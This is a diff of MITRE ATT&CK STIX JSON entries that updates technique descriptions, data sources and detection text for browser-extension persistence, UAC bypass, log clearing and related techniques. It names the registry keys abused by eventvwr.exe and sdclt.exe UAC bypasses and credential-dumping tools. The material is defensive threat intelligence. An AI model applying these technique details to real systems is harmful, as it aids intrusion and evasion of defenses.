Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).", "id": "attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3", "type": "attack-pattern", "kill_chain_phases": [ @@ -2958,7 +2990,7 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-22T18:03:23.751Z", + "modified": "2021-04-15T03:01:00.271Z", "created": "2020-10-01T00:58:35.269Z", "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", "x_mitre_version": "1.0", @@ -3002,10 +3034,9 @@ ], "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.", "x_mitre_data_sources": [ - "API monitoring", - "File monitoring", - "Process command-line parameters", - "Process monitoring" + "Process: Process Creation", + "Command: Command Execution", + "File: File Access" ], "x_mitre_contributors": [ "Mike Kemmerer" @@ -3013,10 +3044,9 @@ "x_mitre_version": "1.0" }, { - "id": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Browser Extensions", - "description": "Adversaries may abuse Internet browser extensions to establish persistence access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser (including credentials) (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence.\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware).", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -3038,6 +3068,11 @@ "description": "Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.", "source_name": "Malicious Chrome Extension Numbers" }, + { + "source_name": "xorrior chrome extensions macOS", + "url": "https://www.xorrior.com/No-Place-Like-Chrome/", + "description": "Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021." + }, { "url": "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/", "description": "Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.", @@ -3069,9 +3104,10 @@ "source_name": "Chrome Extension C2 Malware" } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], + "description": "Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.\n\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)\n\nOnce the extension is installed, it can browse to websites in the background,(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser (including credentials)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence.\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)", + "name": "Browser Extensions", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", "type": "attack-pattern", "kill_chain_phases": [ { @@ -3079,29 +3115,30 @@ "phase_name": "persistence" } ], - "modified": "2020-03-25T23:36:30.565Z", + "modified": "2021-04-27T19:56:54.161Z", "created": "2018-01-16T16:13:52.465Z", - "x_mitre_is_subtechnique": false, + "x_mitre_version": "1.2", + "x_mitre_contributors": [ + "Chris Ross @xorrior", + "Justin Warner, ICEBRG" + ], + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation", + "Network Traffic: Network Connection Creation", + "Windows Registry: Windows Registry Key Creation", + "File: File Creation" + ], + "x_mitre_detection": "Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\n\nOn macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)", + "x_mitre_permissions_required": [ + "User" + ], "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], - "x_mitre_permissions_required": [ - "User" - ], - "x_mitre_detection": "Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.", - "x_mitre_data_sources": [ - "Windows Registry", - "File monitoring", - "Process use of network", - "Process monitoring", - "Browser extensions" - ], - "x_mitre_contributors": [ - "Justin Warner, ICEBRG" - ], - "x_mitre_version": "1.1" + "x_mitre_is_subtechnique": false }, { "id": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", @@ -3130,33 +3167,94 @@ "phase_name": "credential-access" } ], - "modified": "2020-10-21T16:38:27.781Z", + "modified": "2021-04-14T12:04:36.243Z", "created": "2017-05-31T21:31:22.767Z", "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", "Linux", "macOS", - "Windows", - "Office 365", - "Azure AD", - "SaaS", - "GCP", - "AWS", - "Azure" + "Google Workspace", + "Containers" ], "x_mitre_permissions_required": [ "User" ], "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.", "x_mitre_data_sources": [ - "Office 365 account logs", - "Authentication logs" + "User Account: User Account Authentication", + "Application Log: Application Log Content" ], "x_mitre_contributors": [ + "David Fiser, @anu4is, Trend Micro", + "Alfredo Oliveira, Trend Micro", + "Magno Logan, @magnologan, Trend Micro", + "Yossi Weizman, Azure Defender Research Team", "Ed Williams, Trustwave, SpiderLabs" ], - "x_mitre_version": "2.1", + "x_mitre_version": "2.2", "x_mitre_is_subtechnique": false }, + { + "id": "attack-pattern--800f9819-7007-4540-a520-40e655876800", + "description": "Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it\u2019s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ", + "name": "Build Image on Host", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1612", + "url": "https://attack.mitre.org/techniques/T1612" + }, + { + "source_name": "Docker Build Image", + "url": "https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild", + "description": "Docker. ( null). Docker Engine API v1.41 Reference - Build an Image. Retrieved March 30, 2021." + }, + { + "source_name": "Aqua Build Images on Hosts", + "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host", + "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021." + } + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "modified": "2021-04-19T13:39:56.999Z", + "created": "2021-03-30T17:54:03.944Z", + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_contributors": [ + "Assaf Morag, @MoragAssaf, Team Nautilus Aqua Security", + "Roi Kol, @roykol1, Team Nautilus Aqua Security", + "Michael Katchinskiy, @michael64194968, Team Nautilus Aqua Security", + "Vishwas Manral, McAfee" + ], + "x_mitre_detection": "Monitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment. Additionally monitor for subsequent network communication with anomalous IPs that have never been seen before in the environment that indicate the download of malicious code.", + "x_mitre_permissions_required": [ + "User", + "root" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_version": "1.0", + "x_mitre_data_sources": [ + "Image: Image Creation", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ] + }, { "external_references": [ { @@ -3175,7 +3273,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Business Relationships", - "description": "Before compromising a victim, adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization\u2019s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "description": "Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization\u2019s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", "id": "attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f", "type": "attack-pattern", "kill_chain_phases": [ @@ -3184,7 +3282,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:08:59.209Z", + "modified": "2021-04-15T03:36:58.964Z", "created": "2020-10-02T16:27:55.713Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -3259,13 +3357,19 @@ "created": "2017-05-31T21:31:07.462Z" }, { - "id": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", - "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)", - "name": "Bypass User Account Control", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "created": "2020-01-30T14:24:34.977Z", + "modified": "2020-07-22T21:36:52.458Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } ], + "type": "attack-pattern", "external_references": [ { "source_name": "mitre-attack", @@ -3323,43 +3427,38 @@ "source_name": "enigma0x3 sdclt bypass" } ], - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], - "modified": "2020-07-22T21:36:52.458Z", - "created": "2020-01-30T14:24:34.977Z", - "x_mitre_platforms": [ - "Windows" + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Bypass User Account Control", + "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)", + "id": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", + "x_mitre_defense_bypassed": [ + "Windows User Account Control" + ], + "x_mitre_version": "2.0", + "x_mitre_is_subtechnique": true, + "x_mitre_effective_permissions": [ + "Administrator" + ], + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_detection": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\n\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.", + "x_mitre_data_sources": [ + "Process: Process Metadata", + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution" ], "x_mitre_contributors": [ "Stefan Kanthak", "Casey Smith" ], - "x_mitre_data_sources": [ - "Windows Registry", - "Process command-line parameters", - "Process monitoring" - ], - "x_mitre_detection": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\n\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.", - "x_mitre_permissions_required": [ - "Administrator", - "User" - ], - "x_mitre_effective_permissions": [ - "Administrator" - ], - "x_mitre_is_subtechnique": true, - "x_mitre_version": "2.0", - "x_mitre_defense_bypassed": [ - "Windows User Account Control" + "x_mitre_platforms": [ + "Windows" ] }, { @@ -3380,7 +3479,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "CDNs", - "description": "Before compromising a victim, adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor\u2019s geographical region.\n\nAdversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization\u2019s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).", + "description": "Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor\u2019s geographical region.\n\nAdversaries may search CDN data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about content servers within a CDN. Adversaries may also seek and target CDN misconfigurations that leak sensitive information not intended to be hosted and/or do not have the same protection mechanisms (ex: login portals) as the content hosted on the organization\u2019s website.(Citation: DigitalShadows CDN) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Drive-by Compromise](https://attack.mitre.org/techniques/T1189)).", "id": "attack-pattern--91177e6d-b616-4a03-ba4b-f3b32f7dda75", "type": "attack-pattern", "kill_chain_phases": [ @@ -3389,7 +3488,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T04:17:09.684Z", + "modified": "2021-04-15T03:47:55.905Z", "created": "2020-10-02T16:59:56.648Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -3502,10 +3601,9 @@ "Ye Yint Min Thu Htut, Offensive Security Team, DBS Bank" ], "x_mitre_data_sources": [ - "Windows event logs", - "Process use of network", - "Process command-line parameters", - "Process monitoring" + "Process: Process Creation", + "Command: Command Execution", + "Network Traffic: Network Connection Creation" ], "x_mitre_defense_bypassed": [ "Anti-virus", @@ -3590,10 +3688,10 @@ "created": "2020-06-24T22:30:55.843Z", "x_mitre_detection": "For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.", "x_mitre_data_sources": [ - "Windows Registry", - "File monitoring", - "Process monitoring", - "Process command-line parameters" + "Windows Registry: Windows Registry Key Modification", + "Process: Process Creation", + "Module: Module Load", + "Command: Command Execution" ], "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, @@ -3657,9 +3755,7 @@ ], "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nDetection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.", "x_mitre_data_sources": [ - "PowerShell logs", - "Process command-line parameters", - "Process monitoring" + "Command: Command Execution" ], "x_mitre_version": "1.0", "x_mitre_is_subtechnique": true, @@ -3771,9 +3867,9 @@ "Stefan Kanthak" ], "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "Windows Registry" + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution" ], "x_mitre_detection": "Collect and analyze changes to Registry keys that associate file extensions to default applications for execution and correlate with unknown process launch activity or unusual file types for that process.\n\nUser file association preferences are stored under [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\FileExts and override associations configured under [HKEY_CLASSES_ROOT]. Changes to a user's preference will occur under this entry's subkeys.\n\nAlso look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques.", "x_mitre_permissions_required": [ @@ -3853,10 +3949,9 @@ ], "x_mitre_detection": "User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the removal/clearing of the ~/.bash_history file can be an indicator of suspicious activity.\n\nMonitor for suspicious modifications or deletion of ConsoleHost_history.txt and use of the Clear-History command.", "x_mitre_data_sources": [ - "Process command-line parameters", - "PowerShell logs", - "File monitoring", - "Authentication logs" + "Command: Command Execution", + "File: File Modification", + "File: File Deletion" ], "x_mitre_platforms": [ "Linux", @@ -3897,9 +3992,9 @@ "x_mitre_is_subtechnique": true, "x_mitre_detection": "File system monitoring may be used to detect improper deletion or modification of indicator files. Also monitor for suspicious processes interacting with log files.", "x_mitre_data_sources": [ - "Process command-line parameters", - "Process monitoring", - "File monitoring" + "File: File Deletion", + "File: File Modification", + "Command: Command Execution" ], "x_mitre_platforms": [ "Linux", @@ -3960,10 +4055,8 @@ ], "x_mitre_detection": "Deleting Windows event logs (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft Clear-EventLog)) may also generate an alterable event (Event ID 1102: \"The audit log was cleared\").", "x_mitre_data_sources": [ - "API monitoring", - "Process command-line parameters", - "Process monitoring", - "File monitoring" + "Process: OS API Execution", + "Command: Command Execution" ], "x_mitre_platforms": [ "Windows" @@ -3987,7 +4080,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Client Configurations", - "description": "Before compromising a victim, adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "description": "Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the client configurations may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), 